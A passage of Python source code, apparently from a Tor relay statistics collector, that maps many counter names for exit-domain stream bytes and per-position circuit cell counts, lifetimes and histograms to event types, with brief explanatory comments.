'ExitHostnameSubsequentStreamByteCount' : { STREAM_EVENT },
'ExitHostnameSubsequentStreamOutboundByteCount' : { STREAM_EVENT },
'ExitHostnameSubsequentStreamInboundByteCount' : { STREAM_EVENT },
'ExitHostnameSubsequentStreamByteHistogram' : { STREAM_EVENT },
'ExitHostnameSubsequentStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitHostnameSubsequentStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitHostnameSubsequentStreamByteRatio' : { STREAM_EVENT },
'ExitHostnameSubsequentStreamLifeTime' : { STREAM_EVENT },
# The first domain list is used for the ExitDomain*MatchWebInitialStream Ratio, LifeTime, and Histogram counters
# Their ExitDomainNo*MatchWebInitialStream* equivalents are used when there is no match in the first list
# Does the initial domain on the circuit match any domain in the first list?
'ExitDomainExactMatchWebInitialStreamByteHistogram' : { STREAM_EVENT },
'ExitDomainExactMatchWebInitialStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitDomainExactMatchWebInitialStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitDomainExactMatchWebInitialStreamByteRatio' : { STREAM_EVENT },
'ExitDomainExactMatchWebInitialStreamLifeTime' : { STREAM_EVENT },
'ExitDomainNoExactMatchWebInitialStreamByteHistogram' : { STREAM_EVENT },
'ExitDomainNoExactMatchWebInitialStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitDomainNoExactMatchWebInitialStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitDomainNoExactMatchWebInitialStreamByteRatio' : { STREAM_EVENT },
'ExitDomainNoExactMatchWebInitialStreamLifeTime' : { STREAM_EVENT },
# Does the initial domain on the circuit have any domain in the first list as a suffix?
'ExitDomainSuffixMatchWebInitialStreamByteHistogram' : { STREAM_EVENT },
'ExitDomainSuffixMatchWebInitialStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitDomainSuffixMatchWebInitialStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitDomainSuffixMatchWebInitialStreamByteRatio' : { STREAM_EVENT },
'ExitDomainSuffixMatchWebInitialStreamLifeTime' : { STREAM_EVENT },
'ExitDomainNoSuffixMatchWebInitialStreamByteHistogram' : { STREAM_EVENT },
'ExitDomainNoSuffixMatchWebInitialStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitDomainNoSuffixMatchWebInitialStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitDomainNoSuffixMatchWebInitialStreamByteRatio' : { STREAM_EVENT },
'ExitDomainNoSuffixMatchWebInitialStreamLifeTime' : { STREAM_EVENT },
# The number of bins in the ExitDomain*MatchWebInitialStream*CountList counters is
# determined at runtime, based on the number of configured domain lists
# Each domain list gets a bin in each counter, and there is a final bin
# for "no match in any list" (multiple lists may match: all matching bins
# will be incremented). Since there is an unmatched bin, there are no
# ExitDomainNo*MatchWebInitialStream*CountList counters.
# Does the initial domain on the circuit match any domain in the list for each bin? Or is it unmatched by all the lists?
'ExitDomainExactMatchWebInitialStreamCountList' : { STREAM_EVENT },
'ExitDomainExactMatchWebInitialStreamByteCountList' : { STREAM_EVENT },
'ExitDomainExactMatchWebInitialStreamOutboundByteCountList' : { STREAM_EVENT },
'ExitDomainExactMatchWebInitialStreamInboundByteCountList' : { STREAM_EVENT },
# Does the initial domain on the circuit have any domain in the list for each bin as a suffix? Or is it unmatched by all the lists?
'ExitDomainSuffixMatchWebInitialStreamCountList' : { STREAM_EVENT },
'ExitDomainSuffixMatchWebInitialStreamByteCountList' : { STREAM_EVENT },
'ExitDomainSuffixMatchWebInitialStreamOutboundByteCountList' : { STREAM_EVENT },
'ExitDomainSuffixMatchWebInitialStreamInboundByteCountList' : { STREAM_EVENT },
# these counters depend on circuit end
# they are updated in _handle_circuit_close_event
# Non-HS Circuit Positions
# Custom circuit counters
'ExitAndRend2ClientCircuitCount' : { CIRCUIT_EVENT },
'ExitAndRend2ServiceCircuitCount' : { CIRCUIT_EVENT },
# Circuit Counts
# Inbound cells travel towards the origin
# Outbound cells travel towards the end
'OriginCircuitCount' : { CIRCUIT_EVENT },
'OriginCircuitInboundCellCount' : { CIRCUIT_EVENT },
'OriginCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'OriginCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'OriginCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'OriginCircuitLifeTime' : { CIRCUIT_EVENT },
'OriginFailureCircuitCount' : { CIRCUIT_EVENT },
'OriginFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'OriginFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'OriginFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'OriginFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'OriginFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'OriginSuccessCircuitCount' : { CIRCUIT_EVENT },
'OriginSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'OriginSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'OriginSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'OriginSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'OriginSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'OriginActiveCircuitCount' : { CIRCUIT_EVENT },
'OriginActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'OriginActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'OriginActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'OriginActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'OriginActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'OriginActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'OriginActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'OriginActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'OriginActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'OriginActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'OriginActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'OriginActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'OriginActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'OriginActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'OriginActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'OriginActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'OriginActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'OriginActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'OriginActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'OriginActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'OriginInactiveCircuitCount' : { CIRCUIT_EVENT },
'OriginInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'OriginInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'OriginInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'OriginInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'OriginInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'OriginInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'OriginInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'OriginInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'OriginInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'OriginInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'OriginInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'OriginInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'OriginInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'OriginInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'OriginInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'OriginInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'OriginInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'EntryCircuitCount' : { CIRCUIT_EVENT },
'EntryCircuitInboundCellCount' : { CIRCUIT_EVENT },
'EntryCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'EntryCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'EntryCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'EntryCircuitLifeTime' : { CIRCUIT_EVENT },
'EntryFailureCircuitCount' : { CIRCUIT_EVENT },
'EntryFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'EntryFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'EntryFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'EntryFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'EntryFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'EntrySuccessCircuitCount' : { CIRCUIT_EVENT },
'EntrySuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'EntrySuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'EntrySuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'EntrySuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'EntrySuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'EntryActiveCircuitCount' : { CIRCUIT_EVENT },
'EntryActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'EntryActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'EntryActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'EntryActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'EntryActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'EntryActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'EntryActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'EntryActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'EntryActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'EntryActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'EntryActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'EntryActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'EntryActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'EntryActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'EntryActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'EntryActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'EntryActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'EntryActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'EntryActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'EntryActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'EntryInactiveCircuitCount' : { CIRCUIT_EVENT },
'EntryInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'EntryInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'EntryInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'EntryInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'EntryInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'EntryInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'EntryInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'EntryInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'EntryInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'EntryInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'EntryInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'EntryInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'EntryInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'EntryInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'EntryInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'EntryInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'EntryInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'MidCircuitCount' : { CIRCUIT_EVENT },
'MidCircuitInboundCellCount' : { CIRCUIT_EVENT },
'MidCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'MidCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'MidCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'MidCircuitLifeTime' : { CIRCUIT_EVENT },
'MidFailureCircuitCount' : { CIRCUIT_EVENT },
'MidFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'MidFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'MidFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'MidFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'MidFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'MidSuccessCircuitCount' : { CIRCUIT_EVENT },
'MidSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'MidSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'MidSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'MidSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'MidSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'MidActiveCircuitCount' : { CIRCUIT_EVENT },
'MidActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'MidActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'MidActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'MidActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'MidActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'MidActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'MidActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'MidActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'MidActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'MidActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'MidActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'MidActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'MidActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'MidActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'MidActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'MidActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'MidActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'MidActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'MidActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'MidActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'MidInactiveCircuitCount' : { CIRCUIT_EVENT },
'MidInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'MidInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'MidInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'MidInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'MidInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'MidInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'MidInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'MidInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'MidInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'MidInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'MidInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'MidInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'MidInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'MidInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'MidInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'MidInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'MidInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'EndCircuitCount' : { CIRCUIT_EVENT },
'EndCircuitInboundCellCount' : { CIRCUIT_EVENT },
'EndCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'EndCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'EndCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'EndCircuitLifeTime' : { CIRCUIT_EVENT },
'EndFailureCircuitCount' : { CIRCUIT_EVENT },
'EndFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'EndFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'EndFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'EndFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'EndFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'EndSuccessCircuitCount' : { CIRCUIT_EVENT },
'EndSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'EndSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'EndSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'EndSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'EndSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'EndActiveCircuitCount' : { CIRCUIT_EVENT },
'EndActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'EndActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'EndActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'EndActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'EndActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'EndActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'EndActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'EndActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'EndActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'EndActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'EndActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'EndActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'EndActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'EndActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'EndActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'EndActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'EndActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'EndActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'EndActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'EndActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'EndInactiveCircuitCount' : { CIRCUIT_EVENT },
'EndInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'EndInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'EndInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'EndInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'EndInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'EndInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'EndInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'EndInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'EndInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'EndInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'EndInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'EndInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'EndInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'EndInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'EndInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'EndInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'EndInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'SingleHopCircuitCount' : { CIRCUIT_EVENT },
'SingleHopCircuitInboundCellCount' : { CIRCUIT_EVENT },
'SingleHopCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'SingleHopCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'SingleHopCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'SingleHopCircuitLifeTime' : { CIRCUIT_EVENT },
'SingleHopFailureCircuitCount' : { CIRCUIT_EVENT },
'SingleHopFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'SingleHopFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'SingleHopFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'SingleHopFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'SingleHopFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'SingleHopSuccessCircuitCount' : { CIRCUIT_EVENT },
'SingleHopSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'SingleHopSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'SingleHopSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'SingleHopSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'SingleHopSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'SingleHopActiveCircuitCount' : { CIRCUIT_EVENT },
'SingleHopActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'SingleHopActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'SingleHopActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'SingleHopActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'SingleHopActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'SingleHopActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'SingleHopActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'SingleHopActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'SingleHopActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'SingleHopActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'SingleHopActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'SingleHopActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'SingleHopActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'SingleHopActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'SingleHopActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'SingleHopActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'SingleHopActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'SingleHopActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'SingleHopActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'SingleHopActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'SingleHopInactiveCircuitCount' : { CIRCUIT_EVENT },
'SingleHopInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'SingleHopInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'SingleHopInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'SingleHopInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'SingleHopInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'SingleHopInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'SingleHopInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'SingleHopInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'SingleHopInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'SingleHopInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'SingleHopInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'SingleHopInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'SingleHopInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'SingleHopInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'SingleHopInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'SingleHopInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'SingleHopInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
# We can't distinguish inactive Exit, Dir, and HSDir: we learn if an End
# is Exit, Dir, or HSDir after a stream opens. And all circuits with open
# streams are considered active.
# Use the End position to count inactive circuits.
'ExitCircuitCount' : { CIRCUIT_EVENT },
'ExitCircuitInboundCellCount' : { CIRCUIT_EVENT },
'ExitCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'ExitCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'ExitCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'ExitCircuitCellRatio' : { CIRCUIT_EVENT },
'ExitCircuitLifeTime' : { CIRCUIT_EVENT },
'ExitFailureCircuitCount' : { CIRCUIT_EVENT },
'ExitFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'ExitFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'ExitFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'ExitFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'ExitFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'ExitFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'ExitSuccessCircuitCount' : { CIRCUIT_EVENT },
'ExitSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'ExitSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'ExitSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'ExitSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'ExitSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'ExitSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'DirCircuitCount' : { CIRCUIT_EVENT },
'DirCircuitInboundCellCount' : { CIRCUIT_EVENT },
'DirCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'DirCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'DirCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'DirCircuitCellRatio' : { CIRCUIT_EVENT },
'DirCircuitLifeTime' : { CIRCUIT_EVENT },
'DirFailureCircuitCount' : { CIRCUIT_EVENT },
'DirFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'DirFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'DirFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'DirFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'DirFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'DirFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'DirSuccessCircuitCount' : { CIRCUIT_EVENT },
'DirSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'DirSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'DirSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'DirSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'DirSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'DirSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
# HSDir circuits
# You probably want the HSDir*Store/Fetch* events instead of these events
'HSDirCircuitCount' : { CIRCUIT_EVENT },
'HSDirCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDirCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDirCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDirCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDirFailureCircuitCount' : { CIRCUIT_EVENT },
'HSDirFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDirFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDirFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDirFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDirSuccessCircuitCount' : { CIRCUIT_EVENT },
'HSDirSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDirSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDirSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDirSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDirClientCircuitCount' : { CIRCUIT_EVENT },
'HSDirClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDirClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDirClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirClientCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDirClientCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDirClientFailureCircuitCount' : { CIRCUIT_EVENT },
'HSDirClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
